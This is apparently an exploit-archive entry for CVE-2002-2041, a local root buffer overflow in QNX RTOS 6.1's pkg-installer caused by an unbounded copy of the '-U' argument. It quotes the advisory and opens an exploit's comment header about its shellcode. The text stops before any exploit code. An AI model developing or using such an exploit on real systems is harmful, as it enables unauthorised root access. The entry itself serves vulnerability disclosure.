QNX RTOS 6.1 PKG-Installer Buffer Overflow Vulnerability. CVE-2002-2041 . Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/4918/info

It has been reported that the pkg-installer utility for QNX is vulnerable to a buffer overflow condition.

The vulnerability is a result of an unbounded string copy of the argument to the "-U" commandline option of pkg-installer to a local buffer. 

/* Quick and dirty QNX pkg-installer root exploit.
 * The shellcode sucks, it is longer than it has
 * to be and you need the address to system() for 
 * it to work. Yes I know I'm lazy....
